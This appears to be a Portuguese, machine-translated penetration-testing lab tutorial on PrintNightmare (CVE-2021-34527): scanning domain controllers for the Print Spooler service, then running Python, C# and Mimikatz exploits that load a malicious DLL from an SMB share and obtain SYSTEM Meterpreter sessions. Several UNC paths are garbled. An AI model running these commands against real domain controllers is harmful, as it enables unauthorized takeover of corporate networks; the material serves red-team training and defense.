Escalonamento de domínio - PrintNightmare - Laboratório de teste de penetração
CVE-2021-34527,  Domain Escalation,  Print Spooler,  PrintNightmare

Escalonamento de domínio – PrintNightmare – Laboratório de teste de penetração

As impressoras fazem parte de toda infraestrutura corporativa, portanto, em ambientes Windows, eles têm vários drivers integrados instalados. O serviço Spooler de Impressão (spoolsv.exe) é responsável pela impressão de trabalhos e é executado por padrão em controladores de domínio com privilégios de nível SYSTEM. Como o serviço faz parte do ecossistema Windows, ele chamou a atenção de pesquisadores de segurança e vários bugs foram identificados.

O mais notável foi relacionado a um desvio de verificação de segurança no “RpcAddPrinterDriver”Método. Esta chamada de procedimento remoto, como o nome indica, adiciona um driver de impressora a um servidor. Portanto, um usuário existente no domínio pode aproveitar esta vulnerabilidade para adicionar e executar código arbitrário do contexto de um driver de impressora no controlador de domínio que está executando por padrão o serviço Spooler de Impressão. Como o serviço está sendo executado com privilégios de nível de SISTEMA, isso leva diretamente ao escalonamento de domínio. Embora a Microsoft tenha lançado um patch para resolver esse problema e os avisos recomendem desabilitar o serviço no controlador de domínio, ainda é esperado que, ao longo dos anos, essa vulnerabilidade permaneça ativa em várias redes. Portanto, essa técnica pode ser utilizada em cenários de equipe vermelha e avaliações de teste de penetração para comprometer a rede e atingir os objetivos da avaliação em um curto espaço de tempo.

Descoberta

Antes de qualquer execução de exploração, é essencial descobrir se o controlador de domínio está vulnerável a esse ataque. Um scanner python foi desenvolvido por Marcello Salvati com o nome “Foi tudo um sonho”, Que precisa ser fornecido com as credenciais de usuário de domínio existentes e o IP de destino do controlador de domínio ou uma sub-rede inteira para identificar se a vulnerabilidade está presente na rede. A ferramenta usa as duas chamadas a seguir para identificar hosts que executam o serviço Spooler de impressão remotamente.

  1. MS-PAR
  2. MS-RPRN
sudo docker run -it itwasalladream -u pentestlab -p Password123 -d domain 10.0.0.1
ItWasAllADream – Scan for PrintNightmare

O parâmetro verbose (-v) pode fornecer uma saída detalhada sobre as etapas que a ferramenta executa para identificar se um host é vulnerável. A saída exibirá as chamadas RPC necessárias e também a ferramenta tentará carregar uma DLL de um caminho UNC para verificar a vulnerabilidade.

sudo docker run -it itwasalladream -u pentestlab -p Password123 -d domain 10.0.0.1 -v
ItWasAllADream – Scan for PrintNightmare Verbose

Como alternativa, o impacket pode ser usado, pois contém um utilitário chamado rpcdump que pode despejar a lista de pontos de extremidade RPC e ligações de string que estão registrados em um sistema de destino. Os resultados podem ser filtrados com tubo para obter apenas as chamadas de procedimento remoto de interesse. Presença do “MS-RPRN” e “MS-PAR”Indicam que o destino executa o serviço Spooler de impressão.

python3 rpcdump.py @10.0.0.1 | egrep 'MS-RPRN|MS-PAR'
rpcdump – Scan for Print Spooler

Um scanner também foi incorporado ao PingCastle, que é uma ferramenta que pode avaliar a postura de segurança de um diretório ativo. O “bobinador”No menu do scanner pode fazer a varredura de todos os hosts no domínio, apenas servidores, apenas estações de trabalho ou apenas os controladores de domínio.

PingCastle – Scanner
PingCastle – Spooler Scanner
PingCastle – Controladores de domínio do modo de varredura
PingCastle – Resultados do spooler do scanner

Assim que a varredura for concluída, os resultados serão gravados em um arquivo de texto no diretório em que o PingCastle foi executado.

PingCastle – Saída do Spooler do Scanner

Para operações de um console do PowerShell, o SpoolerScan também pode ser exibido com verdadeiro ou falso se o serviço PrintSpooler estiver sendo executado por meio do “MS-RPRN” ligar.

.SpoolerScan.ps1
SpoolerScanner

Exploração

Para poder executar o código no controlador de domínio, é necessário um compartilhamento SMB que hospedará a DLL arbitrária. Isso pode ser feito a partir do empacket ou por meio de um ambiente Windows. Para automatizar o processo, o script Invoke-BuildAnonymousSMBServer PowerShell pode ser utilizado para configurar um compartilhamento SMB que os usuários podem acessar sem autenticação.

Import-Module .Invoke-BuildAnonymousSMBServer.ps1
Invoke-BuildAnonymousSMBServer -Path C:Share -Mode Enable
PowerShell – servidor SMB

A implementação Impacket do PrintNightmare foi desenvolvida por Cube0x0 e pode ser encontrado no repositório CVE-2021-1675 GitHub. A versão atual do Impacket produz erros ao tentar explorar a vulnerabilidade PrintNightmare por meio do script python. Portanto, é recomendável usar a versão que está incluída no repositório. O script requer credenciais de usuário de domínio, o endereço IP do controlador de domínio e o caminho UNC no qual a DLL está hospedada.

python3 ./CVE-2021-1675.py purple.lab/pentest:Password123@10.0.0.1 '\10.0.0.7smbpentestlab.dll'
PrintNightmare – Python

O script python tentará se vincular ao serviço de impressão e identificar o caminho do driver. Em seguida, executará o driver malicioso a partir do caminho UNC. O “multi / manipulador”O módulo Metasploit foi usado para capturar a conexão. Olhando para a sessão do Meterpreter, os privilégios de nível do SISTEMA foram obtidos no controlador de domínio. Isso ocorre porque o driver malicioso foi executado no contexto do serviço Spooler de impressão e não da perspectiva do usuário.

PrintNightmare – Medidor de implementação Python

Também existe uma versão C # que pode ser usada para implementar o ataque PrintNightmare diretamente da memória da estrutura de comando e controle. De forma semelhante, a execução requer que o compartilhamento smb seja definido, o endereço IP do controlador de domínio, o nome de domínio, o nome de usuário e a senha.

SharpPrintNightmare.exe \10.0.0.1smbpentestlab.dll \10.0.0.1 purple pentestlab Password123
SharpPrintNightmare

Após a execução bem-sucedida, o escalonamento de domínio será alcançado.

SharpPrintNightmare – Meterpreter

Este ataque também pode ser conduzido a partir do Mimikatz, pois contém um módulo relevante. O “misc :: printnightmare”Requer os mesmos parâmetros (caminho UNC, credenciais de usuário padrão, etc.) conforme discutido acima para instalar a DLL no controlador de domínio.

misc::printnightmare /server:dc /library:\10.0.0.1smbpentestlab.dll /authdomain:purple /authuser:pentestlab /authpassword:Password123 /try:50
Mimikatz – PrintNightmare
Mimikatz – Medidor via PrintNightmare

O ataque PrintNighmare coloca a DLL arbitrária na pasta de drivers, portanto, ela toca o disco, embora seja executado a partir de um caminho UNC. Do ponto de vista do monitoramento, isso pode ser trivial de detectar e mitigar desativando o serviço. No entanto, como o controlador de domínio na rede é considerado um dos ativos mais críticos, o patching e a proteção adequada são sempre um caso para os administradores de TI, é muito provável que o PrintNightmare se torne o caminho mais curto para assumir o controle de um domínio em várias redes.

Leave a Reply

O seu endereço de email não será publicado. Campos obrigatórios marcados com *